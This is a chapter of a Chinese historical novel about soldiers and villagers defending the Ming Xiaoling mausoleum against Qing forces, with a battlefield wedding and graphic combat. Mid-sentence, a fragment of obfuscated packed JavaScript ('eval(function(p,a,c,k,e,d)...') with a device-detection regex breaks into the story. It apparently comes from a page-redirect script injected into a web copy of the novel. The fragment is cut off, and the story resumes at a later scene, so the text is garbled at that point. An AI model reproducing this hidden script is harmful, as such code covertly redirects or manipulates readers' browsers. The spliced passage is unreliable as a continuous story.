田子兴闻言心酸,摇头劝阻:“鞑子势大,方才只是暂退,稍后必带重兵反扑。他们素来凶残,定会报复周边村镇,诸位还是快回去带齐家小,往紫金山深处避难为好!” 田文琼从旁劝说:“守陵本是我等军人之责,众乡老实不必陪我们等冒险。” 村民们面面相觑,悲愤之色爬满脸庞。 一乡贤哀声哽咽:“国将不国,何以为家啊!昨日已有鞑子散兵窜入村中劫掠,山下几个村落都遭了秧,好些人家家破人亡啊!听说鞑子皇帝还下了剃发令,逼所有汉人男子剃满人的发式,如有抗令者杀无赦。这就是逼我们去死啊!” 他伤心拭泪,难以为继。 旁边一位身着绸缎的乡绅指着周瑛气冲冲诉苦:“是啊,昨日若非这位周娘子拔刀相助,小老儿家的祖坟都几乎被贼兵盗掘了。鞑子朝廷不给军队发粮饷,怂恿他们恣意抢劫,山下的村镇迟早保不住,还不如放手一搏,至少杀几个虏寇,也好告慰祖宗。” 这话如热油泼火,村民们群情激奋,哭声、骂声连片。 一个年轻后生攥紧柴刀,倔强叫喊:“我爷爷也在孝陵卫当过兵,我这做孙子的接替他,天经地义!” “反正迟早要被鞑子抢光杀光,不如拼了!” 另一个中年汉子抹了把眼泪,眼神坚定:“能为太祖爷尽忠,为祖宗争光,便是死了也值!” “是啊,我们连祖坟都保不住,临死前多杀几个鞑子,死后也算给祖宗们有了交代。” “我这人一辈子没出息,为国杀敌而死,到了黄泉路上也能挺直腰杆!” ……………… 村民们声气相投,众志成城,每个人都怀着报仇雪恨的执念。 田子兴听着这些血泪控诉,胸中交织着怒火与愧疚。 他红着眼眶望着村民,激动抱拳:“诸位乡老乡亲,你们个个赤胆忠心,实令田某佩服!既如此,我等便在此指天为盟,共赴国难,誓死守陵,绝不退让!” “共赴国难,誓死守陵,绝不退让!” 孝陵卫将士与村民们齐声高呼,声震云霄,久久回荡在紫金山麓。 周瑛正高举右手附和宣誓,田文琼悄悄抓住她持刀的左手,暗中使劲将她拉出人群,带到一旁的林子里。 茂树交枝,遮去了外界的喧嚣。 田文琼按住她的肩,焦急薄责:“瑛娘你不能待在这儿,趁鞑子没来,快从那边树林走,往紫金山深处去!” 他先前命悬一线时未有过半分惧意,可看到周瑛现身,他突然怕了。怕她受伤,怕她被俘受辱,更怕她殒命于此。 从前他不惧死,是觉得周瑛能替他活下去,这女子是世间最爱他恋他之人,只要她活着,自己就能在她的思念里长存。 如今她竟踏入这有死无生的绝地,这突如其来的恐惧,令他浑身发冷,六神无主。 周瑛明了他的牵挂,抬手轻轻抚上他紧蹙的眉稍,平静道:“文琼,我不是一时意气。你要保全田家祖辈的声誉,我也是。你看,爹把冷月刀传给我了,如今我是周家家主,要替列祖列宗守住周家的名节。。” “你真是胡闹!” 田文琼跺脚急嚷,“这不是儿戏,会没命的啊!你不管宗保了吗?他一个孩子,失了依傍该怎么办?你想让周家绝后吗?” 周瑛凝视着他,这张脸她看了十余年。从孩童到少年再到如今轮廓分明、俊眉修目的青年,每一寸模样都刻在心底。 他曾出席她的笄礼,在庭院的桂树下遥遥举杯道贺。她也曾参加他的冠礼,于女眷席上望着他身着冠服、躬身行礼的挺拔身影。 他们曾互诉山盟,约好此生相濡以沫,共度白头。 得知他要誓死守陵时,她曾有过怨怼,怨他背弃对她的诺言与责任。如今所有芥蒂都消散了,她甚至比他更深刻地理解了守陵的意义。 “文琼,之前是我自私浅薄了。” 她的声音轻柔却含着厚重的分量,“我只想着保住自己的小家,却忘了覆巢之下无完卵。如今大明将亡,我们这些亡国之民皆成丧家犬,活着已是奢望,又何谈安居乐业?” 田文琼早发现她面庞清减了许多,眼下还浮着淡淡的青黑,不难猜出这几日她定然受了许多苦楚,心疼地握住她的手追问: “这些时日你都遭遇了什么?” 周瑛悲伤入眼:“我看到很多人死,被杀的自杀的,多到数也数不清。江南已成炼狱,之后剃发令推行还不知会有多少人间惨祸,鞑子不止亡了大明,还要断我华夏文脉啊。” 田文琼不忍细听,泪水夺眶而出,恨自己力量微薄,无力扭转乾坤。 周瑛握紧他的手,掌心的温度传递着坚定的力量:“文琼,我想通了。爹,还有你和田伯父宁死也要守在这里,守的不止是太祖爷的陵墓,更是华夏正统。我们要让鞑子多见识一下汉人的气节,让他们不敢再肆意欺辱汉人。宗保是年幼,可他也是周家的孩子,将来定会明白父亲姐姐的用心,会和我们一样做有骨气的人。” 田文琼惊愕地望着她,他向来知道她聪明通透、志气高远,早对她深深佩服。 但这一刻,她眼中闪烁的光芒,口中道出的话语,都远超他的想象,向他揭示了人世中至高的真理。 他又惊又喜,惊她难得的悟性与高贵品格,欢喜今生能得到这样志同道合、生死相随的伴侣。 他情难自禁将她紧紧拥入怀中,仿佛拥有了世间全部的光与暖。 二人深情搂抱,无需更多言语,此情已证,至死不渝。 田子兴远远望见田文琼与周瑛手拉着手,有说有笑跑回来。 他本是开明长辈,眼下大道崩坏,人人自顾不暇,可未婚男女在大庭广众下公开做这等亲昵举动也太出格了。 他当即板起脸,想等二人走近教训两句。田文琼抢先雀喜禀告:“爹,我和瑛娘想即刻成亲!” 田子兴一愣,老大疑惑道:“你说什么?” 周瑛面带娇羞,落落大方说:“伯父,我和文琼商量好了,想马上做夫妻。” 这话不啻平地惊雷,田子兴瞠目结舌,附近人听了,惊奇地靠近围观。 田子兴定了定神,对周瑛严肃道:“瑛儿,这里的人没一个指望自己能活着出去,你可得想仔细了啊。” 周瑛转头望了田文琼一眼,二人目光交汇,心心相印。 她甜蜜一笑,肃然回话:“伯父,我来时已向爹行过诀别之礼,这孝陵就是我埋骨地。只是我与文琼情深,想在生前名正言顺地做夫妻。。” 田子兴望着眼前这对年轻人,心中既有对周世楠父女忠烈的敬重,又被两个孩子的深情打动,他长叹一声,蔼然赞许:“你和文琼早有婚约,协助他守陵更是我田家的好媳妇,我自然要给你名分。只是时间仓促,百事不备,这个亲如何结呢?” 周瑛笑意:“繁文缛节皆可省去。您坐下让我们拜个堂就行了。” 周围将士村民们听了,无不感慨动容,拍手叫好,七嘴八舌地向田子兴与两位新人道贺。 一名叫张水生的老兵挤上前来,眉飞色舞地向田子兴禀告:“大人!前年致祭时,卑职偷偷藏了两坛御酒,就埋在神道旁的松树下!如今正好挖出来给琼哥和周娘子做喜酒!” 换作平日,私藏御酒乃是大罪,田子兴定会重罚。可眼下他拍了拍老兵的肩膀,朗声夸赞:“好你个老东西!藏得倒是严实,这回立了大功!” 众人当即忙活起来,在卫所营帐内收拾出一间简陋的喜堂。 消息传开,陵区内但凡能抽身的都赶来观礼。 可婚礼尚有一阻碍,人们遍寻卫所,找不到一块大红布头给新娘做喜帕。 周瑛四处打量,发现一间伤员营帐外晾晒的麻布浸透了将士们的鲜血,艳如石榴、烈似丹砂,分外夺目。 她取来一块大小适中的,说:“就用这个。” 众人面露迟疑,有人劝告:“周娘子,这可是血光啊,太晦气了……” 周瑛肃穆道:“这是忠良的血,不是晦气,是荣耀。” 一句话振聋发聩,众人深受感动,敬意油然而生。 有人赞叹:“不愧是周千户的女儿,见识就是不凡!” 有人附和:“好汉的女儿果然也是好汉!” 旁边一人打趣:“人家是闺女,该说巾帼不让须眉!” 人们哈哈大笑,尴尬、迟疑尽数转为对新人的祝福。 周瑛和田文琼即刻在礼堂上拜堂成婚。 没有张灯结彩,没有红烛高照,没有丝竹喜乐,筵席华章,有的只是一碗碗掺水后淡而无味的喜酒和众人热烈的祝福。 张水生高声唱喏:“一拜天地!” 二人齐齐躬身,拜向这风雨飘摇的江山。 “二拜高堂!” 田子兴端坐于上,望着眼前这对儿妇,眼眶湿润,心满意足。 “夫妻对拜!” 田文琼与周瑛转身相向,深深一拜,而后便是乱世夫妻,血染战甲卿与共,此去何惧路三千。 围观众人热情地拱手道贺,欢声笑语和掌声里混着喜悦的抽泣。 所有人都觉得这是他们参加过的最简陋的婚礼,也是他们见证过的最圆满的姻缘。 婚礼过后全员紧张备战,田子兴命人将卫所现有武器装备和物资尽数搬出,配发村民。根据孝陵“外阔内狭、神道为轴”的布局,分三段布防: 前阵依托神道两侧石兽、翁仲设伏,以弓箭、火铳袭扰; 中阵扼守大金门、四方城碑亭等关卡,用夯土加固营垒,布置滚石檑木; 后阵驻守方城明楼,作为最后防线,同时预设三条撤退路线,确保以守为攻,耗敌锐气,以最小代价击毙最多虏寇。 令人振奋的是,周边村落的百姓仍在陆续赶来,正午时分,军民合编的队伍已集结近六百人,士气愈发高昂。 南京城内,多铎听说正蓝旗军队在孝陵的败绩,大为光火 昨日秦淮河边,数百百姓宁死不剃发,集体投河殉节。消息传开,城中怨声载道,反抗暗流涌动。 焦头烂额下,他决意借攻打孝陵炫耀武力,震慑那些不知好歹的汉民,当即下令着护军统领萨布素,率镶黄旗两千兵力出征孝陵,荡平那群顽抗之徒。 萨布素得令后当面提出异议:“王爷息怒!小小孝陵,不过是些残兵村盲盘踞,何须两千大军?让卑职带上二十门火炮前去,不消一个时辰,便叫里面的南蛮尸骨无存!” “放肆!” 多铎黑脸呵斥道,“你懂什么。天子命我推行剃发令,如今阻力已如此之大,若再毁了朱元璋的陵墓,岂不是逼得江南汉人尽数造反?” 他放缓语气,沉声道,“传本王号令:此番出征,火炮仅可用于轰击营垒外围,严禁轰击陵墓本体。进入陵区后,不得任意毁坏殿宇、石象等建筑,只需扑杀顽抗之徒,生擒守将田子兴即可。本王要让天下人看看,顺我大清者生,逆我大清者死!” 他态度坚决,不容置喙。实则也闹不明白孝陵对汉人来说究竟意味着什么。只是多尔衮临行前再三叮嘱:“江南民心未附,明陵不可动,留着它,便是留着汉人的‘念想’,念想在,便不会拼尽全力反清。” 他原本不以为然,只当兄长过于谨慎,一群蝼蚁的 “念想”能值几个钱? 直到昨日,上千百姓为了不剃发,竟抱着 “宁为大明鬼,不做满清奴” 的念头集体投河,秦淮河下游浮尸阻塞河道,那场景让见惯了沙场杀戮的多铎也暗自心惊。 他终于隐约察觉,江南人的骨头比北方的更硬,硬就硬在那些看不见摸不着的 “念想” 上。而孝陵便是这 “念想” 最扎眼的幌子。 用炮火把陵寝轰塌容易,要把江南人的 “念想” 轰碎,似乎难如登天。 他想起入关时烧过的那些城池,杀过的那些顽抗者,可越杀反抗的人越多。 如今剃发令已如火上浇油,若再毁了朱元璋的陵寝,那些藏在书斋里的儒生、蹲在田埂上的农夫,怕是真要提着锄头扁担,跟八旗兵拼命了。 朝廷要的是震慑,不是跟汉人拼个你死我活,汉人都死光了,谁来承担赋税徭役?大清的王公贵族们没了奴隶使唤,还如何做得主子? 一座不能说话的坟茔,既能堵住汉臣的臭嘴,又能让百姓看着它完好无损,乖乖接受剃发易服。等天下坐稳了,这堆砖石还不是想拆就拆? 难道紫金山下的石兽翁仲,还能会在夜里活过来,对着大清的铁骑龇牙咧嘴不成? 总之,他必须赢,完整拿下孝陵,就能赢得江南的顺从,至于那座陵寝背后藏着的,江南人真正在乎的东西,他懒得懂也不屑懂。 在他眼里,所有不肯低头的反抗,终会被武力碾碎,就像昨日秦淮河里的那些冤魂,过几日便没人再记得了。 萨布素虽心有不甘,却不敢违逆,躬身领命告退,点齐两千镶黄旗精锐,携火炮器械,前去征伐孝陵。 未时一刻,紫金山上暴雨欲来,天河泛起浊浪,孝陵内十万老松如碧蛟苏醒,伸筋扬鬐。风来忽卷千针起,刺破云帷,挑动霹雳。 “轰轰轰!” 十门火炮与雷霆争锋,次第轰鸣,炮口如火龙吐焰。铁弹带着尖啸射进卫所营区。夯土营墙纸糊般崩裂,木构营房燃起熊熊烈火,椽木噼啪作响,不到一顿饭功夫,营区已成断壁残垣,焦土上嵌满碎石、弹片。 田子兴早已率众撤往大金门,留下二十名老兵与三十名乡勇伏在通路两侧的密林与石兽群中。那是卫所通往大金门的唯一要道,两侧是丈许高的夯土墙,正是伏击的绝好地势。 遮天蔽日的硝烟中,清军先头部队的脚步声由远及近。为首的旗兵举着盾牌,警惕地扫视四周,见营区一片死寂,便挥手示意队伍前进。 二三十人结队走过石翁仲时,伏兵仍按兵不动。待整支先头部队半数进入伏击圈,老兵头领挥刀发令:“放!” 机关绳索倏地收紧,数十块磨盘大的巨石夹杂着钉满木丁的木排滚落,夯土墙后骤然钻出一排人影,柴刀与长刀并举,猛虎下山般扑入敌阵。 “杀!” 一名乡勇怒吼着砍倒一名旗兵,被身后火铳弹击穿肩胛,血花溅在石象生的铠甲纹路上。 老兵们仗着地形熟稔,在石兽间腾挪穿梭,刀光闪过处清军惨叫倒地。 可清军后队的火铳手迅速结阵,三段轮射的火光连成一线,伏兵连续中弹倒地。 只有五名浑身浴血的幸存者踉跄奔向大金门。 大金门如巨狮踞守要道,这座面阔三丈的三门券式门楼,中门高逾五丈,左右门洞稍低,中间和右侧二尺厚的朱漆门板早被守军用铁钉钉死,钉头外露如獠牙。 门楼上八十名弓手严阵以待,其中包括十五名猎户,另有二十名火铳手分作三列轮射,其余七十名乡勇则抱着滚石与檑木,紧张注视通路尽头。 待那五个幸存者渡河,从左门进入后,护陵河上的简易吊桥便被高高拉起,河对岸埋设着数十根竹桩削得锋利如刀,静待入侵者。 楼下军民正紧急封闭左门,楼上田文琼拉紧弓弦,目不瞬移朝敌人即将出现的方位瞄准。 通路下方传来如潮的奔跑声,清军如黄褐色的洪水漫过地平线,盾阵在前好似移动的城墙,火铳手与弓箭手亦步亦趋,队列严整有序。 待敌军进至百步之内,田文琼一声令下,箭雨如蝗掠过护陵河,火铳齐发的硝烟呛得人直咳嗽。可清军盾牌手将盾牌叠成龟甲阵,大部分箭簇与弹丸弹落,仅伤数人。 萨布素下令变换阵型:九十名火铳手与一百二十名弓箭手分作三队,交替向前推进射击。火铳弹与箭矢密集如雨,门楼的木构檐角被击得粉碎,弓手接连中弹坠楼,跌入护陵河。 趁明军火力稍歇,清军五十名盾牌手列成方阵稳步推进,十名工兵扛着裹着铁皮的撞木,在盾阵掩护下直扑中门。 “咚!咚!咚!” 撞木撞击门板的巨响震得门楼发抖,门后的守军紧握兵器,凝神屏息,心若擂鼓。 “扔滚石!砸撞木!” 田文琼挥刀斩断一根垂落的箭杆,乡勇们抱起巨石顺着门楼箭窗砸下。 一块巨石准确命中撞木旁的工兵,脑浆飞迸溅在铁皮上,红白之物顺着撞木纹路流淌。 萨布素亲率八十名弓箭手赶到,万箭齐发如黑云压城,门楼的立柱与横梁插满箭矢,活似一座巨型箭垛。 明军死伤殆尽,只田文琼率最后十余人退下门楼,临走前他反手挥刀斩断吊桥绳索,沉重的吊桥带着风声砸向河面,捆扎吊桥的绳索被提前割破,摔砸时应声而断,吊桥支离破碎,将正要涉水的几名清军卷入河底,竹桩瞬间刺穿了他们的身体。 但清军的应对极其迅速,很快用随军携带的轻便木板架桥,火炮重新校准后,炮口直指三道木门的接缝处,那是木质结构最薄弱的所在。 铁弹接连命中门板,二尺厚的木料被撞出一掌宽的裂缝。 一名火铳手朝着中门裂缝射击,门后顶门的民壮惨叫一声,腹部被铅弹击穿,肠子混着鲜血涌出。他仍奋力抱住门后的顶木,指尖抠进木头里,指甲爆裂,直到气绝仍保持着顶门的姿势。 田文琼刚要补上他的位置,便听见“轰隆”巨响,清军竟将火药包塞进裂缝引爆,左边门洞的门板如碎纸般炸开,木屑裹挟着火焰扑进门内。 “杀啊!” 清军蜂拥而入,门内刀光、火光齐闪。 田文琼挥刀劈倒两名旗兵,惊见右侧门洞的门板也被撞开,清军好似六月蝗虫成群涌入。 混乱中一名猎户突然从背后包袱里取出父亲的牌位放在台阶上,飞快跪下朝牌位磕了个响头,举刀逼退一名清兵,点燃军队分派的火药包,呐喊着冲向清军最密集的中门。 轰天巨响震塌了门洞李一堵砖墙,勇敢的壮士与十余名清军同归于尽。 田文琼眼角迸裂,挥刀砍死一名逼近的旗兵,吼道:“退往神道!” 残余的十一名守军相互掩护着退向松柏掩映的神道。 风啸如吼,冲不散大金门的血腥气。护陵河的水被染成暗红,漂浮着箭杆、盾牌碎片与残损的尸体。 三道门的门板全部四分五裂,门楼上箭孔与弹痕密密麻麻,仿佛遭巨型白蚁啃食。 这座洪武十四年始建的皇家陵门,终究没能挡住异族的枪炮。 听到远方传来的爆破声,周瑛知道大金门失守了,她早率百余军民伏在神道两侧的石兽群后,赶忙前去接应撤退者。 见田文琼带着残兵狼狈奔逃而来,身后清军如恶鬼穷追猛打,她急声高呼:“文琼!带弟兄们去布阵!这里我来挡!” 说着似离弦之箭射出,刀劈冲在最前的清军旗兵,两颗头颅咕噜噜滚落在石翁仲脚边,那两个无头鬼还未倒下,脖子里喷出的血柱溅到高高的松枝上,再滴答落下。 “瑛娘当心!” 田文琼回头望了一眼,见她刀光如练挡在追兵前,咬牙转身,领着仅剩的弓箭手往神道深处跑去。。 周瑛挥刀格开劈面的长刀,借着转身卸力的惯性,踩住石骆驼的驼峰腾身跃起,刀锋斜劈,削掉一名清兵半块肩膀。 冷月刀气势如虹,刀去犹如雪狮打滚,刀来好似冰轮横旋,杀得清军断肢乱飞。 神道两侧的石兽群成了天然屏障,她率军民在石象生之间腾挪闪转,刀光在石马、石麒麟的阴影里明灭。清军追得急,却屡屡被石雕阻挡,不少人刚绕过石翁仲,就被暗处的民壮用长矛捅穿小腹。 “好俊的刀法!” 大金门门楼上,萨布素的视线已锁定那道捷若猿猱的身影。 此人刀法精湛,借着石雕掩护,身法更是刁钻,转眼已斩落己方十数人。 萨布素狠厉冷笑,从亲兵手中夺过一张硬弓,搭上浸过油脂的狼牙箭,弓弦拉如满月,他能征惯战,最擅狙杀阵前悍将。 周瑛刚杀死一名火铳手,耳边响起尖锐的破空声。 那声音快得骇人,她下意识偏头,箭簇擦着左耳飞过,耳廓被划开一道血口,热辣辣的疼直弥散到脖颈。 “笃” 的一声闷响,箭簇深深扎进身后的石雕像,箭尾仍在嗡嗡震颤,弓手力气之大,堪与李广比肩。 她抬头望向大金门,门楼上弓箭手已就位,近战追兵正往飞奔回撤,她赶忙下令撤退。 军民们调头往神道深处跑,刚跑出数十丈,门楼方向传来密集的弓弦震颤声。 箭雨如黑风掠过神道,“噗噗” 声不断。一名乡勇惨叫扑地,箭簇从他后背穿出,他倒下后转眼被箭雨射成了刺猬。 众人慌忙四散,往石象生背后躲藏。 周瑛扑到一尊石马后,紧抱马腿团缩身体,箭簇雨点般砸在石马背上,火星四溅,石屑纷落。 躲在石羊后的民壮突然发出短促的哀嚎,一支箭穿透石羊的犄角缝隙,正中他太阳穴。周瑛看着同伴一个个倒下,心急如焚地咒骂清军,左耳的伤已不再作痛,凉飕飕麻痒痒 的。她刚才看清射箭就是昨日在长安街头遇见的满清“巴图鲁”萨布素,乞求上天别让自己死太快,至少先报了这一箭之仇。 箭雨停歇时,神道上鸦默雀静,风声也消失了。 萨布素眺望神道尽头的四方城碑亭轮廓,冷声道:“盾牌在前,火铳手殿后,推进!” 三百名步兵结成紧密的方阵,盾牌架设起森严壁垒,徐徐向前挪动,盾缝中探出长矛,火铳手紧随其后,枪口对准两侧石兽的阴影。 沿途看到大量明军尸体,有穿卫所甲胄的士兵,更多是罩着粗麻短褐的百姓。 一名双腿中箭的乡勇趴在尸堆间,见清军方阵逼近,拼尽最后力气挥刀捅向最前的旗兵。 “找死!” 那旗兵喝骂着,长矛刺入乡勇后心,用力搅动,发出滋滋的声响。 还有个老丈只剩半口气,枯瘦的手紧紧抓着块石头,刚举起便被清军一脚踹飞,长刀劈下时,他眼里还映着一旁的石狮子。 队伍行至神道三分之一处,前方陡然传来机关转动的 “咔嗒” 声,继而是巨石滚落的轰鸣。 “小心!” 清军前锋刚急声示警,数十块箩筐大的巨石已从神道两侧的夯土坡上滚下,裹碎石断木砸进方阵。 七八面盾牌瞬间崩裂,三名火铳手被巨石碾成肉泥,惨叫声中,田文琼从石兽后跃出,长刀劈落间,两名清军应声倒地。 周瑛紧随其后,冷月刀如白虹贯日,直插方阵缝隙,刀光扑闪,??多了几个缺胳膊断腿的清军。 军民趁乱掩杀,清军大溃。 “撤!快撤!” 清军小旗主惊叫着带队后退,田文琼与周瑛率军民追击十余丈,见清军重整队列,才借着石兽掩护退回。 萨布素气得青筋暴起,亲自提刀督阵:“再退者斩!弓手火铳手压上,三轮齐射!” 又一轮箭雨如黑云压境,石兽身下落满箭矢,没过了兽脚。 清军步兵踩着同伴的尸体再次推进,可刚过先前的伏击点,第二轮滚石又骤然而至。 如此拉锯两轮,神道上堆起尸山,清军付出三百余人的伤亡才推进至神道中段,硝烟中露出四方城碑亭坚硬的轮廓。 这座方形碑亭恰似磐石踞守要道,边长三丈的墙体厚达六尺,原本的四门已被砖石封堵,只留下碗口大的射击孔。 亭内 “大明孝陵神功圣德碑” 高逾三丈,碑身缠绕着粗麻绳,供士兵攀爬至顶;下方堆积着石块与浸油的干草,九名火铳手伏在檐角后,如狩猎者紧盯逼近的清军。 “火铳齐射!” 萨布素故技重施,数十支火铳同时对准射击孔。铅弹穿透砖石缝隙,亭内传来闷响,鲜血顺着石缝渗出,蜿蜒流过碑亭的墙体,如一道道泪痕。 “架云梯!” 四架裹着铁皮的云梯被推至碑亭四角,清军士兵咬着刀快速向上攀爬。 “扔石头!” 周瑛在碑亭上厉声呼喊,民壮们抱起石块顺着云梯向下猛砸。 一名清军刚攀至丈许高,被石块正中面门,血溅横档,软踏踏坠落,脊柱撞在碑亭底座的青石板上,发出清脆的断裂声。 可清军的箭雨与火铳一刻不停,一个民壮刚探身扔石,就被铅弹击穿头颅,尸体从亭顶滚落,砸在攀爬的清军身上,两人一同坠入尸堆。 云梯上的清军终于翻上亭顶,周瑛挥刀迎上,那清军的半边脑袋连带头盔被削飞,倒栽葱落地在地上炸出一朵血花。 清军已撞开石块,攻入碑亭,田文琼躲在碑后单膝跪地,长刀“噗嗤”捅穿一名清军的腹部,却被身后的刀划伤后背,鲜血浸透甲胄。 他反手肘击,将偷袭者撞向碑身,额头撞在碑角上,当场毙命,鲜血喷在 “神功圣德碑” 的篆文上,染红了 “大明” 二字。 萨布素见亭内厮杀胶着,怒极狠发,下令火攻。 工兵点燃捆捆浸油的干草,用长杆挑至碑亭顶部。木质屋顶腾起烈焰,浓烟从射击孔涌入亭内,守军呛得剧烈咳嗽,眼泪混合浓烟,视线一片模糊。 一名民壮的手臂被火焰燎到,不慎从亭顶坠落,几个清军趁机举起长矛,把他像猎物一般挑在矛尖。 “撤!从秘道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她痛喝一声,冷月刀翻卷如浪,当场斩断为首者的脖颈,滚烫的血溅了满面,可她的心思全投注在那道小黑影上。 再转头,弟弟已倒在地上,一个清兵双手举刀,刀尖对准他毫无防备的胸膛,即将狠狠刺下。 “住手!” 周瑛毛发倒竖,不顾安危,将冷月刀奋力掷出,刀身势大力沉地穿透清兵后背,钉死那人的行动。 她风驰电掣扑过去,握住刀柄猛地一甩,挑起清兵尸体砸倒身后两名追兵,三人重叠摔出一团血腥。 “宗保!” 周瑛破嗓呐喊,俯身时,又有四名清军围上来。 她左脚蹬地旋身,使出 “灵蛟摆尾” 的绝技,刀锋划出一道寒光凛冽的弧线,清军手腕接连被斩断,惨叫后退。 可当她看清地上的少年,心霎时被冰水浇透。 宗保的脖子右侧豁开一道血口,流血汹涌,他想抬手,手臂瘫软着无法动弹,唯有一双眼睛注视姐姐,满载惊惶不甘。 “滚!都给我滚!” 周瑛疯了一般,刀锋回旋,寒光铺天,如同千万雪峰崩泻。青色刀芒掠过,喷溅的鲜血霎时凝结成朱红色的丹丸。 敢于进犯的清军或断肢或开膛,以她与宗保为中心,勾勒出一圈醒目的血线。 不远处,萨布素命弓箭手结阵,数十张弓弦已拉满。 田文琼看得魂飞魄散,惊声吼叫:“瑛娘!快撤!” 可周瑛心神失守,先前约定的撤退信号、布防计划全抛在脑后。她只想救弟弟,不许任何人再伤害他。这是她唯一的手足,周家唯一的香火啊! 萨布素盯着困兽般的周瑛,嘴角勾起残忍的冷笑。 他认准此人是明军主力,只要将其射杀,剩下的残兵便不攻自破。 一名瞄准周瑛头部,志在必得的清军弓手正要松弦,空中猝然落下一颗橘子大的冰雹,不偏不倚正好砸在他头顶,他当场晕死,箭簇射出,失之千里。 漫天冰雹天崩般砸落,仿佛天帝挥出的重拳。小的如鸡卵,砸在头盔上发出 “咚咚” 的闷响。中登的如柿子,直接砸裂盾牌。大的竟像甜瓜,轰然落地,砸得石板崩出碎屑。 清军惊叫着抱头鼠窜,也有不少明军被砸倒。 萨布素被一块冰雹砸中右肩,疼得龇牙咧嘴,被迫下令军士撤回四方城。 田文琼趁机率人冲上来掩护,周瑛赶紧背起宗保,弟弟的身体轻飘飘的,脖颈的血顺着她的肩背往下淌,温热的触感烫得她心痛欲裂。 一行人顶着冰雹逃入棂星门,进入那道木质门楼,身后的冰雹便被门柱挡在外侧,只听见 “噼啪” 的撞击声在门外叫嚣。 周瑛哆嗦着放下宗保,不经意地瞥见来时路上蜿蜒着一条血河,她的心已凉了半截,等看清了宗保颈间的伤口,更是绝望。 刀伤切断了颈脉,鲜血虽已些许凝固,却仍在不停渗出。周瑛伸出手,指尖刚触到弟弟冰凉的脸颊便急泪奔流。 她的哭声占据棂星门内全部空间,在人们听来比冰雹声更刺心。 “宗保!宗保!” 周瑛声嘶力竭呼喊,半跪在地上,双手悬在弟弟身前,指尖乱颤,就像面对一件布满裂痕的瓷器,不敢触碰,怕稍一用力就会把他弄碎。 宗保的胸膛还在微弱起伏,眨着濡湿的睫毛,几不可闻地叫了声:“姐姐……” 周瑛像抓住了救命稻草,慌忙俯身尖叫责怪:“谁让你回来的!你为什么要来孝陵?” 宗保张着嘴呼吸艰难,胸口像有千斤重物压着,用力盯着她,舍不得闭眼:“他们…… 都死了……就剩我……周家……世代忠烈……不可少我……” 话到这里哑然气绝。 “宗保!” 周瑛像被活活挖去心肝般纵声哭嚎,身下的青石板似乎在变软、塌陷,她正坠入一片深不见底的黑暗,无边无际的寒冷冻得她四肢僵硬。嗓子嘶哑得犹如在雷火中炸裂的枯竹。眼泪混着脸上的血污、尘土,在脸颊上凝结成烛泪般的硬痂,又被新的泪水冲泡脱落,一层一层,全是深入骨髓的剧痛。 田文琼红着眼眶,不敢上前劝慰。他知道,当下任何话语都是苍白的,只能默默陪她流泪。 周围的军民也都垂下头,没人敢出声。 先前死难的将士乡亲都算死而无憾,唯独这少年的死令人扼腕痛惜。 当田子兴闻讯从文武方门赶来时,周瑛已停止哭喊,静静跪在地上,用从自己衫摆撕下来的布片一丝不苟替宗保擦脸。 她的动作极为轻柔,仿佛弟弟只是睡着了,怕惊扰了他的好梦。 她认出宗保身上那件宽大的粗麻短衫是忠伯的,用腰带草草系着,不伦不类。 这小子是怎么回到南京,又是怎么想到来孝陵的呢? 她不敢深思,对照自身经历,那一定是段比西天取经还艰险坎坷的旅程。小小年纪的他从那么多妖魔鬼怪,魑魅魍魉爪牙下逃脱,最终还是命丧在这块他熟悉的土地上。 方才他在神道上用弹弓袭击敌人时,移动那么准确灵活,那是因为他自幼就在这里玩耍啊,熟悉每一座石像,才能游刃有余穿梭其间。 她看到宗保至死捏在手里的弹弓,这是他新作的,不久前他还用它和马世奇打鸟嬉戏,当时两个孩子一定没想到,短短数日后他们就一个沉尸水底,一个长眠孝陵。 周瑛替宗保理了理衣襟,指尖触到他冰凉的肌肤,那句 “宁为太平犬,不做乱离人” 突然像裹满剧毒的刀子狠狠扎进她心口。 她想起过去的南京城多么繁华安乐。 十里秦淮,百万人家,画舫凌波,华宅傍水。 夫子庙一带牌坊下的摊贩鳞次栉比,卖糖画的艺人手腕翻转,便浇出龙、凤、生肖,引得孩童们围观争购。 吹糖人的师傅捏出的小猪、小兔,晶莹剔透,咬一口甜到心里。 路边的小吃摊香气扑鼻,鲜醇的鸭血粉丝汤、咸香的盐水鸭、甜糯的梅花糕,还有刚出锅的葱油饼,酥脆掉渣,回味无穷。 书坊里摆满了雕版印刷的典籍、话本、诗集,文人墨客三三两两聚在架前,翻看着新刻的《牡丹亭》,争论着柳梦梅与杜丽娘的奇缘。 聚宝门内车水马龙,驼队运载来自西域、南洋的香料、珍宝,从城门缓缓驶入。 漕运码头的船只密密麻麻,装满了苏杭的丝绸、松江的棉布、景德镇的瓷器,还有从江南各县运来的粮食、茶叶。搬运工们喊着号子,将货物卸上岸,堆成一座座小山。 ……………… 宗保就在这安逸富庶的都城里长大,跟长辈们看戏、听曲、逛庙会。观花灯、买玩具,挑几本新出的全相刻本,或者看杂耍、听说书,吃一碗甜蜜蜜的桂花糖芋苗。 平日里在庭院、街巷中追逐阳光、蝴蝶和蜻蜓。和伙伴们玩投壶、斗蟋蟀、捉迷藏,躲在假山后、花丛中,笑声惊飞枝头的雀鸟…… 最大的烦恼不过是读书不用功被何先生用戒尺打手心。 那时的孝陵没被血光污染,是庄严肃穆的皇家陵寝。 神道两旁的石象生静静伫立,松涛阵阵,香火鼎盛。 每逢清明、冬至,百姓们会来陵前祭拜,带着祭品,沿着神道缓缓前行。石象生上覆着光影树影,祥和肃穆,空气中满是松柏与香烟的味道。 宗保喜欢在神道上奔跑,爬上松枝眺望远方,用弹弓打林子里的鸟儿。那时的他,眼里没有腥风血雨,只看到太平岁月里的无忧无虑。 可如今画舫成了逃难的船只,书坊沦为焚烧典籍的火场,商铺变成清军的营房,孝陵的神道堆满尸骸,血漫苍苔。 那些曾经的繁华,宛若一场易碎的梦,醒后只余满地残骸、锥心之痛。 